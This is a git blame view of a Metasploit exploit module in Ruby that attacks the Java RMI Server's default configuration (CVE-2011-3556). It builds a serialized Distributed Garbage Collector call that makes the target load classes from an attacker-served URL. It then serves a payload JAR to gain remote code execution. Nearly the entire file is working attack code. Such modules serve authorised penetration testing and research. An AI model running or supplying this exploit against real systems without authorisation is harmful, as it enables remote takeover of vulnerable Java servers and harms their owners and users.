Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

289 lines
9.8 KiB
Ruby
Raw Permalink Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Java::Rmi::Client
2014-11-13 18:21:19 -06:00
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::CheckModule
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
2025-06-20 13:20:44 +01:00
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
2013-08-30 16:28:54 -05:00
Note that it does not work against Java Management Extension (JMX) ports since those do
2025-06-20 13:20:44 +01:00
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
2013-08-30 16:28:54 -05:00
RMI method calls do not support or require any sort of authentication.
2025-06-20 13:20:44 +01:00
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' => [
# RMI protocol specification
2025-02-28 09:35:28 +00:00
[ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
2017-06-02 12:59:48 -05:00
[ 'URL', 'http://www.securitytracker.com/id?1026215'],
[ 'CVE', '2011-3556']
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2011-10-15',
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
2014-11-13 18:21:19 -06:00
'WfsDelay' => 10
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[
'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
2025-06-20 13:20:44 +01:00
[
'Windows x86 (Native Payload)',
{
'Platform' => 'win',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
],
2025-06-20 13:20:44 +01:00
[
'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
],
2025-06-20 13:20:44 +01:00
[
'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_PPC
}
],
2025-06-20 13:20:44 +01:00
[
'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2014-11-13 18:21:19 -06:00
register_options([
Opt::RPORT(1099),
2025-06-20 13:20:44 +01:00
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
])
register_common_rmi_ports_and_services
end
2013-08-30 16:28:54 -05:00
def exploit
2025-12-17 17:11:13 -05:00
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise "Exploit aborted due to failure #{fail_reason} #{(fail_detail || 'No reason given')}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise e.message.to_s
2014-11-13 18:21:19 -06:00
end
def primer
connect
2015-01-08 16:04:56 -06:00
2025-12-17 17:11:13 -05:00
print_status('Sending RMI Header...')
2015-01-08 16:04:56 -06:00
send_header
ack = recv_protocol_ack
if ack.nil?
2015-10-09 23:37:11 -05:00
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
2015-01-08 14:52:55 -06:00
end
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
jar = rand_text_alpha(rand(1..8)) + '.jar'
new_url = get_uri + '/' + jar
2015-01-08 16:04:56 -06:00
2025-12-17 17:11:13 -05:00
print_status('Sending RMI Call...')
2015-04-01 12:09:42 -05:00
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
2015-10-09 23:37:11 -05:00
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
2025-06-20 13:20:44 +01:00
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
2015-10-09 23:38:33 -05:00
return_value = recv_return
2015-01-08 16:04:56 -06:00
2015-03-17 21:29:52 -05:00
if return_value.nil? && !session_created?
2025-06-20 13:20:44 +01:00
fail_with(Failure::Unknown, 'RMI Call failed')
2015-01-08 16:04:56 -06:00
end
2015-03-17 21:29:52 -05:00
if return_value && return_value.is_exception? && loader_disabled?(return_value)
2025-06-20 13:20:44 +01:00
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
2015-01-08 16:04:56 -06:00
end
2015-03-17 21:29:52 -05:00
if return_value && return_value.is_exception? && class_not_found?(return_value)
2025-06-20 13:20:44 +01:00
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
2012-04-27 01:02:18 -05:00
end
2013-08-30 16:28:54 -05:00
2014-11-13 18:21:19 -06:00
disconnect
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
2025-12-17 17:11:13 -05:00
[ 'metasploit', 'RMILoader.class' ],
[ 'metasploit', 'RMIPayload.class' ],
]
jar.add_file('metasploit/', '') # create metasploit dir
paths.each do |path_parts|
path = ['java', path_parts].flatten.join('/')
contents = ::MetasploitPayloads.read(path)
jar.add_file(path_parts.join('/'), contents)
end
2013-08-30 16:28:54 -05:00
2015-10-09 23:37:11 -05:00
send_response(cli, jar.pack,
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
print_status('Replied to request for payload JAR')
cleanup_service
end
end
2013-08-30 16:28:54 -05:00
2012-05-01 00:34:48 -05:00
def autofilter
return true
end
2015-03-17 21:29:52 -05:00
def loader_disabled?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
2025-06-20 13:20:44 +01:00
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
exception.class_data[1].contents.include?('RMI class loader disabled')
2015-01-08 16:04:56 -06:00
return true
end
end
false
end
2015-03-17 21:29:52 -05:00
def class_not_found?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
2025-06-20 13:20:44 +01:00
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
2015-01-08 16:04:56 -06:00
return true
end
end
false
end
def build_dgc_clean_args(jar_url)
arguments = []
2015-01-14 16:47:28 -06:00
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
2025-06-20 13:20:44 +01:00
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
2015-01-14 16:47:28 -06:00
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
arguments << new_array
2025-06-20 13:20:44 +01:00
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
2015-01-14 16:47:28 -06:00
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
2015-10-09 23:37:11 -05:00
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
2015-01-14 16:47:28 -06:00
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
2015-10-09 23:37:11 -05:00
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
2015-01-14 16:47:28 -06:00
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
arguments << new_object
2015-01-14 16:47:28 -06:00
2015-10-09 23:37:11 -05:00
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
2015-01-14 16:47:28 -06:00
arguments
2015-01-14 16:47:28 -06:00
end
end